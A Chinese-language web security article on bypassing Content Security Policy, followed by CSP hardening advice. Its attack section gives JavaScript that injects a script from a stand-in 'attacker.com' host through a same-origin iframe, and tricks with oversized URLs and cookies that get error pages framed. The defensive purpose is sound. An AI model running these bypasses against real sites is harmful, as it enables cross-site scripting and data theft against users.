如何巧妙绕过CSP
字数 1256 2025-08-29 08:32:24
绕过内容安全策略(CSP)的深入分析与防御指南
1. CSP基础概念
内容安全策略(CSP)是一种内置的浏览器安全机制,用于防御跨站脚本(XSS)等Web攻击。其核心原理是通过定义一组浏览器可以安全加载内容的路径和源(包括图像、frame、JavaScript等资源),来限制潜在的不安全内容加载。
1.1 CSP典型配置示例
Content-Security-Policy: default-src 'self' 'unsafe-inline';
这个配置表示:
- 允许加载和执行当前域(
'self')的资源 - 允许使用内联资源(
'unsafe-inline') - 默认禁止所有未明确允许的内容
1.2 CSP的安全原则
CSP遵循"除非明确允许,否则禁止"的原则:
- 禁用通过字符串创建代码的函数(如
eval,setTimeout,setInterval),除非设置了unsafe-eval - 阻止来自外部源的所有内容(图像、CSS、WebSockets,尤其是JS代码)
2. CSP绕过技术详解
2.1 利用iframe加载无CSP的资源
攻击原理:
- 现代浏览器会自动将某些文件(如文本、图像)转换为HTML页面以便显示
- 如果这些文件没有CSP头部,攻击者可以通过iframe加载并执行任意JS代码
攻击步骤:
// 1. 创建iframe并加载无CSP的资源
frame = document.createElement("iframe");
frame.src = "/css/bootstrap.min.css"; // 或其他无CSP的文件如favicon.ico, robots.txt等
document.body.appendChild(frame);
// 2. 在iframe中注入恶意脚本
script = document.createElement('script');
script.src = '//attacker.com/csp.js';
window.frames[0].document.head.appendChild(script);
2.2 利用错误响应绕过X-Frame-Options
当网站为正常响应(200)设置了X-Frame-Options: Deny,但错误响应未设置时:
方法1:触发400错误(NGINX)
frame = document.createElement("iframe");
frame.src = "/%2e%2e%2f"; // 使用URL编码的/../
document.body.appendChild(frame);
方法2:触发URL过长错误
frame = document.createElement("iframe");
frame.src = "/" + "A".repeat(20000); // 超过服务器默认8KB限制
document.body.appendChild(frame);
方法3:触发Cookie过长错误
// 1. 创建巨型cookie
for(var i=0; i < 5; i++) {
document.cookie = i + "=" + "a".repeat(4000);
}
// 2. 打开iframe触发错误
frame = document.createElement("iframe");
frame.src = "/any-path";
document.body.appendChild(frame);
// 3. 删除巨型cookie
for(var i=0; i < 5; i++) {
document.cookie = i + "=";
}
2.3 其他绕过方法
- 使用RTCPeerConnection:通过DNS请求泄露数据,即使
default-src 'self'也无法防御 - 触发500服务器错误:通过构造特殊请求使服务器返回错误页面
3. CSP配置最佳实践
3.1 全面覆盖CSP头部
- 所有响应都应包含CSP:包括错误页面(404, 400, 500等)
- 使用报告模式调试:初始部署时可使用
Content-Security-Policy-Report-Only
3.2 最小权限原则
- 初始设置为最严格:
Content-Security-Policy: default-src 'none' - 逐步添加必要权限:
Content-Security-Policy: default-src 'none'; script-src 'self' 'nonce-random123'; style-src 'self'; img-src 'self'; connect-src 'self'; frame-src 'none';
3.3 安全使用内联脚本
避免使用unsafe-inline,替代方案:
-
Nonce方案:
<script nonce="random123"> // 允许的内联脚本 </script>对应CSP:
Content-Security-Policy: script-src 'nonce-random123' -
Hash方案:
Content-Security-Policy: script-src 'sha256-abc123...'
3.4 其他防御措施
- 始终设置X-Frame-Options:即使是错误响应
- 限制Cookie大小:防止通过超大Cookie触发错误
- 监控CSP违规报告:及时调整策略并发现潜在攻击
4. 总结
CSP是强大的安全工具,但配置不当会导致严重的安全隐患。关键要点:
- CSP必须覆盖所有响应,包括错误页面
- 遵循最小权限原则,逐步添加必要权限
- 避免使用
unsafe-inline,采用nonce或hash替代 - 结合其他安全头部如X-Frame-Options提供多层防御
- 定期审查和测试CSP策略的有效性
通过正确配置和持续监控,CSP能有效降低XSS等攻击的风险,为Web应用提供坚实的安全基础。